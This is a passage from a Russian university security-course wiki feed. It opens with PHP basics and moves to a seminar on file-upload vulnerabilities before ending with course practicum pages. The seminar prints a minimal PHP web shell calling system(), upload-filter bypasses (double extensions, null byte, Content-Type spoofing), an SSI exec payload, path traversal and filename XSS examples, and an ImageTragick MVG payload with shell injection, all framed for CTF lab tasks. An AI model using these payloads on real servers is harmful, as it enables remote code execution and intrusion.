&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$united_string = &amp;quot;Мой любимый цвет - &amp;quot; . $favorite_color . &amp;quot;, а любимое число - &amp;quot; . $favorite_number;&lt;br /&gt;
print($united_string);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
В коде выше $favorite_number - число. Поэтому данная переменная приводится к типу данных &amp;quot;строка&amp;quot;, после чего уже происходит конкатенация.&lt;br /&gt;
==Ввод данных==&lt;br /&gt;
Данная функциональность редко используется, но нам это нужно было для решения задач на лекии. readline - функция ввода данных:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$line = readline();&lt;br /&gt;
print($line);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==Массивы==&lt;br /&gt;
Массив — структура данных, хранящая набор значений (элементов массива), идентифицируемых по индексу.&lt;br /&gt;
&lt;br /&gt;
В обычных массивах в PHP индекс значение - целое число. Нумеруются массивы с 0:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$fav_shows = [&amp;quot;game of thrones&amp;quot;, &amp;quot;american horror story&amp;quot;, &amp;quot;walking dead&amp;quot;];&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
В ассоциативных массивах в качестве индекса может использоваться не только число. Например, строка:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$user = [&#039;age&#039; =&amp;gt; 42, &#039;name&#039; =&amp;gt; &#039;Иннокентий&#039;, &#039;fav_shows&#039; =&amp;gt; [&amp;quot;game of thrones&amp;quot;, &amp;quot;american horror story&amp;quot;, &amp;quot;walking dead&amp;quot;] ];&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==Условный оператор==&lt;br /&gt;
Синтаксис: if (условие):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
if ($gender == &amp;quot;мужчина&amp;quot;) {&lt;br /&gt;
    print(&amp;quot;Приветствую тебя, мой Господин!&amp;quot;);&lt;br /&gt;
} else if ($gender == &amp;quot;женщина&amp;quot;) {&lt;br /&gt;
    print(&amp;quot;Приветствую тебя, о Госпожа!&amp;quot;);&lt;br /&gt;
} else {&lt;br /&gt;
    print(&amp;quot;Не хватает гендеров.&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
* оператор присваивания: =&lt;br /&gt;
* операторы сравнения: ==, ===, !=, !==, &amp;gt;, &amp;lt;, &amp;lt;=, &amp;gt;=&lt;br /&gt;
* and, or - логические и и или соответственно&lt;br /&gt;
==Циклы==&lt;br /&gt;
Синтаксис while: while (условие_остановки):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$i = 0;&lt;br /&gt;
while ($i &amp;lt; 10) {&lt;br /&gt;
    print($i);&lt;br /&gt;
    $i = $i + 1;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Синтаксис for: for (команда,_выполняемая_до_цикла; условие_осатновки; команда,_выполняемая_в_ конце_каждой_операции):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
for ($x = 0; $x &amp;lt; 10; ++$x) {&lt;br /&gt;
    print($x);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Для асоциативных массивах есть цикл foreach:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$user = [&lt;br /&gt;
    &#039;Имя&#039; =&amp;gt; &#039;Евгений&#039;,&lt;br /&gt;
    &#039;Возраст&#039; =&amp;gt; &#039;27&#039;,&lt;br /&gt;
    &#039;Род занятий&#039; =&amp;gt; &#039;Программист&#039;&lt;br /&gt;
];&lt;br /&gt;
foreach ($user as $key =&amp;gt; $value) {&lt;br /&gt;
    print($key . &#039;: &#039;);&lt;br /&gt;
    print($value . &#039;&amp;lt;br&amp;gt;&#039;);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==Функции==&lt;br /&gt;
Синтаксис: имя_функции(аргументы_функции):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
function is_even($number) {&lt;br /&gt;
    if ($number % 2 != 0) {&lt;br /&gt;
        return false;&lt;br /&gt;
    } else {&lt;br /&gt;
        return true;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
if (is_even(3)) {&lt;br /&gt;
    print(&amp;quot;3 - четное число&amp;quot;);&lt;br /&gt;
} else {&lt;br /&gt;
    print(&amp;quot;3 - нечетное число&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==Подключение файлов==&lt;br /&gt;
Чтобы не писать всё в одном файле, используется команда require.&lt;br /&gt;
Содержимое файла sub.php:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
print(&amp;quot;Привет, я содержимое из sub.php!&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Содержимое файла index.php:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
require &#039;sub.php&#039;;&lt;br /&gt;
print(&amp;quot;А я - index.php!&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
После подключения sub.php, содержимого этого файла доступно в index.php.&lt;br /&gt;
==Полезные константы==&lt;br /&gt;
* __DIR__ — полный путь к директории, в которой находится текущий сценарий&lt;br /&gt;
* __FILE__ — полный путь к текущему сценарию&lt;br /&gt;
* $_COOKIE — ассоциативный массив, содержащий куки&lt;br /&gt;
* $_SESSION — ассоциативный массив, содержащий информацию о сессии&lt;br /&gt;
* $_POST — ассоциативный массив, содержащий данные, полученные после POST запроса&lt;br /&gt;
* $_GET — ассоциативный массив, содержащий данные, полученные после GET запроса&lt;br /&gt;
=Примеры=&lt;br /&gt;
1. Пусть есть сайт с формой:&lt;br /&gt;
Клиент:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;HTML&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;form name=&amp;quot;feedback&amp;quot; method=&amp;quot;POST&amp;quot; action=&amp;quot;form.php&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;label&amp;gt;Ваше имя: &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;name&amp;quot;&amp;gt;&amp;lt;/label&amp;gt;&lt;br /&gt;
  &amp;lt;label&amp;gt;Ваш email: &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;email&amp;quot;&amp;gt;&amp;lt;/label&amp;gt;&lt;br /&gt;
  &amp;lt;label&amp;gt;Сообщение: &amp;lt;textarea name=&amp;quot;message&amp;quot;&amp;gt;&amp;lt;/textarea&amp;gt;&amp;lt;/label&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;send&amp;quot; value=&amp;quot;Отправить&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
При получении формы сервером, данные из неё можно получить следующим образом:&lt;br /&gt;
Сервер:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
if (isset($_POST)) {&lt;br /&gt;
    print(&amp;quot;Имя: &amp;quot; . $_POST[&#039;name&#039;]);&lt;br /&gt;
    print(&amp;quot;&amp;lt;br&amp;gt;Email: &amp;quot; . $_POST[&#039;email&#039;]);&lt;br /&gt;
    print(&amp;quot;&amp;lt;br&amp;gt;Сообщение: &amp;quot; . $_POST[&#039;message&#039;]);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
2. Другой пример - отправка формы:&lt;br /&gt;
Клиент:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;HTML&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;form name=&amp;quot;file_upload&amp;quot; method=&amp;quot;POST&amp;quot; action=&amp;quot;form.php&amp;quot; enctype=&amp;quot;multipart/form-data&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;label&amp;gt;Ваш аватар: &amp;lt;input type=&amp;quot;file&amp;quot; name=&amp;quot;avatar&amp;quot;&amp;gt;&amp;lt;/label&amp;gt;&lt;br /&gt;
  &amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;send&amp;quot; value=&amp;quot;Отправить файл&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Работать с файлом ожно следующим образом:&lt;br /&gt;
Сервер:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
if (isset($_FILES[&#039;avatar&#039;])) {&lt;br /&gt;
    $file = $_FILES[&#039;avatar&#039;];&lt;br /&gt;
&lt;br /&gt;
    print(&amp;quot;Загружен файл с именем &amp;quot; . $file[&#039;name&#039;] . &amp;quot; и размером &amp;quot; . $file[&#039;size&#039;] . &amp;quot; байт&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Если не переместить файл в постаянную папку - файл будет удален:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
$current_path = $_FILES[&#039;avatar&#039;][&#039;tmp_name&#039;];&lt;br /&gt;
$filename = $_FILES[&#039;avatar&#039;][&#039;name&#039;];&lt;br /&gt;
$new_path = dirname(__FILE__) . &#039;/&#039; . $filename;&lt;br /&gt;
&lt;br /&gt;
move_uploaded_file($current_path, $new_path);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=SQL=&lt;br /&gt;
Так же можно работать с базами данных. mysqli_connect - функция для подключения к mysql-серверу, mysqli_query - отправка sql-запроса:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$link = mysqli_connect(&amp;quot;localhost&amp;quot;, &amp;quot;root&amp;quot;, &amp;quot;&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
$sql = &#039;INSERT INTO cities SET name = &amp;quot;Санкт-Петербург&amp;quot;&#039;;&lt;br /&gt;
$result = mysqli_query($link, $sql);&lt;br /&gt;
&lt;br /&gt;
if ($result == false) {&lt;br /&gt;
    print(&amp;quot;Произошла ошибка при выполнении запроса&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=web shell=&lt;br /&gt;
&lt;br /&gt;
Простейшим примером является загрузка файла с расширением .php на сайт, работающий на PHP (в качестве проверки можно попробовать обратиться по адресу &#039;&#039;&#039;cite.com/index.php&#039;&#039;&#039; и не получить ошибки). По умолчанию PHP-сайты работают так что пользователь обращается по URL к файлу (URL сайта, начиная с первого /, отображаются на определенную директорию на сервере, она называется &#039;&#039;&#039;web root&#039;&#039;&#039;) и, если этот файл имеет расширение php (или другое расширение из предопределенного списка расширений для PHP-файлов), то содержимое этого файла выполняется как код на PHP, вывод этого кода возвращается пользователю в ответе (кстати, так работает не только PHP, но и ASP.NET Web Forms, JSP, ASP). В результате, если пользователь может загрузить на сайт файл c расширением .php и обратиться к нему по URL (т. е. этот файл будет создан где-то внутри &#039;&#039;&#039;web root&#039;&#039;&#039;), то, если сервер специально не настроен чтобы файлы из директории для загрузок не выполнялись, PHP-код в нём будет выполнен. Соответственно, загрузив на уязвимый сайт файл &amp;lt;code&amp;gt;shell.php&amp;lt;/code&amp;gt; с кодом &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
42 * 66613;&lt;br /&gt;
&amp;lt;?php system(&#039;ls -lsa&#039;); ?&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
и, получив ссылку на него (к примеру, /uploads/5c8e82bb8ad66/attack.php), обратится по ней, то в результате этот PHP-код выполнится и в ответе сервера будет &lt;br /&gt;
произведение чисел 42 и 66613, а также список всех файлов в длинном формате (функция PHP system работает так же как одноимённая функция библиотеки Си - то есть выполняет команду shell). В итоге атакующий получает выполнение произвольного кода на сервере (RCE).&lt;br /&gt;
&lt;br /&gt;
=Обход методов защиты и атака=&lt;br /&gt;
&lt;br /&gt;
==Валидация имени файла==&lt;br /&gt;
&lt;br /&gt;
===Черный список ресширений===&lt;br /&gt;
Обходится с помощью использования двойных расширений (&amp;lt;code&amp;gt;shell.php.png&amp;lt;/code&amp;gt;) или  малоизвестный расширений (&amp;lt;code&amp;gt;.php5&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;.phtml&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;.shtml&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;.htaccess&amp;lt;/code&amp;gt;). Кроме того, возможна инъекция нулевого байта (&amp;lt;code&amp;gt;shell.php%00.jpg&amp;lt;/code&amp;gt;) или регистрозависимость при проверке (&amp;lt;code&amp;gt;PHp3&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;.aSp&amp;lt;/code&amp;gt;). &lt;br /&gt;
&lt;br /&gt;
===Белый список расширений===&lt;br /&gt;
Спасает от использования атакующим малоизвестных и регистрозависимых расширений, но все ещё обходится с помощью двойных расширений или инъекции нулевого байта. &lt;br /&gt;
&lt;br /&gt;
===Санитайзеры===&lt;br /&gt;
Оставляет большую степень свободы. Например, если санитайзер удаляет вхождения подстрок типа &amp;lt;code&amp;gt;.php&amp;lt;/code&amp;gt;, то использования имени файла вида &amp;lt;code&amp;gt;shell.p&#039;&#039;&#039;.php&#039;&#039;&#039;hp&amp;lt;/code&amp;gt; позволяет после загрузки получить файл с именем &amp;lt;code&amp;gt;shell.php&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==Валидация Content-Type==&lt;br /&gt;
Обходится изменением заголовка Content-Type, например, с помощью перехватывающего прокси (burp suite). Соответсвенно, в запросе &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
POST / HTTP/1.1&lt;br /&gt;
Host: easy.fu.khashaev.ru&lt;br /&gt;
Content-Length: 200&lt;br /&gt;
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary&lt;br /&gt;
------WebKitFormBoundary&lt;br /&gt;
Content-Disposition: form-data; name=&amp;quot;file&amp;quot;; filename=&amp;quot;info.php&amp;quot;&lt;br /&gt;
Content-Type: text/php&lt;br /&gt;
 &amp;lt;?php phpinfo(); ?&amp;gt;&lt;br /&gt;
------WebKitFormBoundary--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
строчка &amp;lt;code&amp;gt;Content-Type: text/php&amp;lt;/code&amp;gt; может быть заменена на строчку &amp;lt;code&amp;gt;Content-Type: image/png&amp;lt;/code&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
==Прочее==&lt;br /&gt;
&#039;&#039;&#039;.htaccess&#039;&#039;&#039; - конфигурационный файл веб-сервера Apache, позволяющий управлять работой веб-сервера и настройками сайта с помощью различных параметров (директив) без изменения основного конфигурационного файла веб-сервера.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Server Side Includes&#039;&#039;&#039; - язык для динамической «сборки» веб-страниц на сервере из отдельных составных частей и выдачи клиенту полученного HTML-документа. Имеет расширения .shtml, .stm или .shtm. Например, при загрузке и вызове &#039;&#039;&#039;file.shtml&#039;&#039;&#039;, содержащего код &lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;!-- #exec cmd=&amp;quot;ls&amp;quot; --&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
атакующему будет выведен список файлов данной директории. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Static HTML&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
При возможности загрузить на сервис статический HTML, создается HTML-страница, содержащая  вредоносный код (например, крадущего cookie), и ссылка на этот файл отправляется жертве. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Path Traversal&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Атака, основанная на использовании специфически составленных имен файлов (например, &amp;lt;code&amp;gt;../config.ini&amp;lt;/code&amp;gt;), позволяющих выйти за пределы директории хранения файлов. Может привести к переписыванию исходных фалов веб-приложения, конфигурационных или системных файлов. &lt;br /&gt;
Атака возможна, если не используется функция &amp;lt;code&amp;gt;basename&amp;lt;/code&amp;gt; (возвращает последний компонент имени из указанного пути) или её аналог. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Filename XSS&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Сервис уязвим к XSS, если допускается имя файла вида &amp;lt;code&amp;gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==Полиглоты==&lt;br /&gt;
Полиглотами называют файлы, которые могут быть корректно распознаны как файлы разных типов. &lt;br /&gt;
Можно встраивать &lt;br /&gt;
* JavaScript в JPEG, GIF, PNG, PDF&lt;br /&gt;
* HTML в что-нибудь &lt;br /&gt;
* PHP в [https://rdot.org/forum/showthread.php?t=2780 JPEG ], [https://github.com/fakhrizulkifli/Defeating-PHP-GD-imagecreatefromgif GIF], [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/ PNG]&lt;br /&gt;
&lt;br /&gt;
===Структура JPEG===&lt;br /&gt;
Все jpeg-файлы имеют схожую структуру. Рассмотрим в качестве примера изображение&lt;br /&gt;
&lt;br /&gt;
[[Файл:Mini.jpg|128px]]&lt;br /&gt;
 &lt;br /&gt;
В hex-редакторе оно выглядит следующим образом &lt;br /&gt;
&lt;br /&gt;
[[Файл:Hex_print.png]]&lt;br /&gt;
&lt;br /&gt;
В структуре jpeg-файлов содержатся служебные маркеры, состоящие из двух байт и всегда начинающиеся с FF.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;FF D8&#039;&#039;&#039; - маркер начала jpeg-файла;&lt;br /&gt;
* &#039;&#039;&#039;FF DA&#039;&#039;&#039; - маркер начала секции Start of Scan:&lt;br /&gt;
** в двух байтах хранится длинна заголовка изображения [00 0C];&lt;br /&gt;
** заголовок изображения [03 01 00 02 11 03 11 00 3F 00];&lt;br /&gt;
** непосредственно информацию о самом изображении;&lt;br /&gt;
* &#039;&#039;&#039;FF D9&#039;&#039;&#039; - маркер конца jpeg-файла.&lt;br /&gt;
&lt;br /&gt;
=Image Magic=&lt;br /&gt;
&#039;&#039;&#039;ImageMagick&#039;&#039;&#039; — набор программ для чтения и редактирования файлов множества графических форматов, свободное и кроссплатформенное ПО. Может использоваться с языками Perl, C, C++, Python, Ruby, PHP, Node.js, Pascal, Java, Delphi, в скриптах командной оболочки или самостоятельно.&lt;br /&gt;
ImageMagick обладает широким набором возможностей (конвертация, маскирование, увеличение контрастности и т.п.) и поддерживает работу с различными типами файлов, но так же в нем находили различные уязвимости:&lt;br /&gt;
* RCE [CVE-2016-3714]&lt;br /&gt;
* SSRF [CVE-2016-3718]&lt;br /&gt;
* File deletion [CVE-2016-3715]&lt;br /&gt;
* File moving [CVE-2016-3716]&lt;br /&gt;
* Local File Read [CVE-2016-3717]&lt;br /&gt;
CVE - Common Vulnerabilities and Exposures - база данных общеизвестных уязвимостей информационной безопасности.&lt;br /&gt;
&lt;br /&gt;
Был создан сайт [https://imagetragick.com/ ImageTragick], посвященный описанию некоторых уязвимостей ImageMagic. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Пример.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Допустим, что есть некоторый онлайн-сервис, позволяющих переводить файлы в разные форматы, использующий библиотеку ImageMagic. &lt;br /&gt;
Тогда, создав файл exploit.mvg с содержанием&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
push graphic-context&lt;br /&gt;
viewbox 0 0 640 480&lt;br /&gt;
fill &#039;url(https://example.com/&lt;br /&gt;
image.jpg &amp;quot; ; | ls  &amp;quot;-la)&#039;&lt;br /&gt;
pop graphic-context&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
и выполнив запрос на преобразование файла, аналогичный команде &lt;br /&gt;
&amp;lt;pre&amp;gt;$ convert exploit.mvg out.png&amp;lt;/pre&amp;gt;&lt;br /&gt;
атакующий получит список всех файлов директории.&lt;br /&gt;
&lt;br /&gt;
=Задания=&lt;br /&gt;
* http://easy.stands.cyberschool.msu.ru/&lt;br /&gt;
* http://type.stands.cyberschool.msu.ru/&lt;br /&gt;
* http://hand.stands.cyberschool.msu.ru&lt;br /&gt;
&lt;br /&gt;
=Ссылки=&lt;br /&gt;
* [https://drive.google.com/file/d/1Jep20CuBfcfKAeStwnHgR0gCf-O2Wgd0/view?usp=sharing Презинтация]&lt;br /&gt;
* [https://www.php.net/ https://www.php.net/] - сайт PHP&lt;br /&gt;
* [https://htmlacademy.ru/tutorial/php https://htmlacademy.ru/tutorial/php] - учебник PHP&lt;br /&gt;
* [http://www.php.su/php/?php http://www.php.su/php/?php] - ещё один учебник&lt;br /&gt;
* [https://www.alchemistowl.org/pocorgtfo/pocorgtfo15.pdf Полиглоты]&lt;br /&gt;
* [https://drive.google.com/file/d/1Rz0RP5tKIWCmFDP3-_--VYu40ejWf48v/view?usp=sharing Валидация структурных типов]&lt;/div&gt;</summary>
		<author><name>Romankholin94</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2021)&amp;diff=598</id>
		<title>Практикум на ЭВМ (2021)</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2021)&amp;diff=598"/>
		<updated>2021-10-07T07:42:06Z</updated>

		<summary type="html">&lt;p&gt;Romankholin94: /* Веб */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&#039;&#039;&#039;Практикум на ЭВМ&#039;&#039;&#039; кафедры ИБ ВМК МГУ ведут сотрудники лаборатории интеллектуальных систем кибербезопасности для групп 319/1 и 319/2.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Когда&#039;&#039;&#039;: по четвергам, 12:50&lt;br /&gt;
* &#039;&#039;&#039;Где&#039;&#039;&#039;: аудитория 609&lt;br /&gt;
&lt;br /&gt;
Практикум связан с курсом &amp;quot;Безопасность компьютерных систем&amp;quot;, который читается для группы 319/2, и содержит практические задания по темам курса. Каждое занятие практикума имеет формат воркшопа/семинара - т.е. занятие будет практическим, на него надо приходить с ноутбуком, а также установленным софтом. Набор нужного для занятия софта объявляется отдельно перед занятием.&lt;br /&gt;
&lt;br /&gt;
Основные темы, которые будут затронуты в практикуме 2021/2022 учебного года:&lt;br /&gt;
* веб-безопасность&lt;br /&gt;
* реверс-инжиниринг и эксплуатация бинарных программ&lt;br /&gt;
* криптография&lt;br /&gt;
* сетевая безопасность&lt;br /&gt;
&lt;br /&gt;
Оценка за практикум будет определяться по результатам выполнения практических заданий. За каждое из заданий будут даваться баллы, сумма баллов и определит оценку. Задания будут делиться на обязательные и бонусные, баллы за все обязательные задания одной темы будут в сумме давать &#039;&#039;&#039;1000&#039;&#039;&#039;, таким образом, баллы за все обязательные задания одного семестра вместе дадут &#039;&#039;&#039;2000&#039;&#039;&#039;.&lt;br /&gt;
Большая часть заданий будет выполнена в формате ctf-тасков&amp;lt;ref&amp;gt;Про CTF и CTF-команду [[Bushwhackers]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Задания ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Задания выполнены в формате task-based CTF: в каждом задании есть один или несколько &amp;quot;флагов&amp;quot;, выполняющих роль ценных данных, которые требуется найти и украсть атакующему, для выполнения задания необходимо получить флаг и сдать его в принимающую систему. За каждый сданный флаг начисляются очки. Флаг представляет из себя строку, которая может состоять из цифр и букв английского алфавита, а также нижних подчеркиваний (&amp;quot;_&amp;quot;).&lt;br /&gt;
&lt;br /&gt;
Флаги, входящие в обязательную часть, будут начинаться с префикса main_&lt;br /&gt;
&lt;br /&gt;
Флаги нужно сдавать в принимающую систему. В ней нужно заранее зарегистрироваться (ник в формате &#039;&#039;Фамилия Имя&#039;&#039;) и дождаться активации, без этого сдавать флаги не получится Флаги время от времени меняются, если вы получили флаг, но он не сдается, попробуйте вытащить его еще раз и сдать снова - возможно, он поменялся как раз в тот момент. Флаг за одно и то же задание засчитывается для того же сдающего только один раз (даже после изменения).&lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
&lt;br /&gt;
* [[Практикум_на_ЭВМ_(2021)/Бонусное_задание|Бонусное задание]]&lt;br /&gt;
* http://club.tasks.prak.seclab.cs.msu.ru/ (deadline - 12.10.2021 15:53)&lt;br /&gt;
* http://corporate.tasks.prak.seclab.cs.msu.ru/ (deadline - 20.10.2021 20:13)&lt;br /&gt;
* http://bank.tasks.prak.seclab.cs.msu.ru (deadline - 20.10.2021 20:13)&lt;br /&gt;
* http://pwnitter.tasks.prak.seclab.cs.msu.ru/ (deadline - 20.10.2021 20:13)&lt;br /&gt;
&lt;br /&gt;
== Материалы ==&lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
&lt;br /&gt;
Семинар 1 (9 сентября 2021) [[Веб-безопасность/Введение в веб-технологии]]&lt;br /&gt;
&lt;br /&gt;
Семинар 2 (16 сентября 2021) [[Веб-безопасность/Базы_данных_SQL]]&lt;br /&gt;
&lt;br /&gt;
Семинар 3 (23 сентября 2021) [[Веб-безопасность/Уязвимости_SQLi]]&lt;br /&gt;
&lt;br /&gt;
Семинар 4 (30 сентября 2021) [[Веб-безопасность/Уязвимости_XSS]]&lt;br /&gt;
&lt;br /&gt;
Семинар 5 (7 октября 2021) [[Веб-безопасность/Уязвимости_FileUpload]]&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>Romankholin94</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%9A%D1%83%D1%80%D1%81%D1%8B_2021&amp;diff=586</id>
		<title>Курсы 2021</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%9A%D1%83%D1%80%D1%81%D1%8B_2021&amp;diff=586"/>
		<updated>2021-09-08T11:46:21Z</updated>

		<summary type="html">&lt;p&gt;Romankholin94: /* &amp;gt; Практикум */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== [[Практикум_на_ЭВМ_(2021)|&amp;gt; Практикум]] ==&lt;br /&gt;
&lt;br /&gt;
== [[Дополнительные_главы_практической_безопасности_(2021)|&amp;gt; Дополнительные главы практической безопасности]] ==&lt;/div&gt;</summary>
		<author><name>Romankholin94</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2021)&amp;diff=585</id>
		<title>Практикум на ЭВМ (2021)</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2021)&amp;diff=585"/>
		<updated>2021-09-08T11:46:06Z</updated>

		<summary type="html">&lt;p&gt;Romankholin94: /* Задания */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&#039;&#039;&#039;Практикум на ЭВМ&#039;&#039;&#039; кафедры ИБ ВМК МГУ ведут сотрудники лаборатории интеллектуальных систем кибербезопасности для групп 319/1 и 319/2.&lt;br /&gt;
&lt;br /&gt;
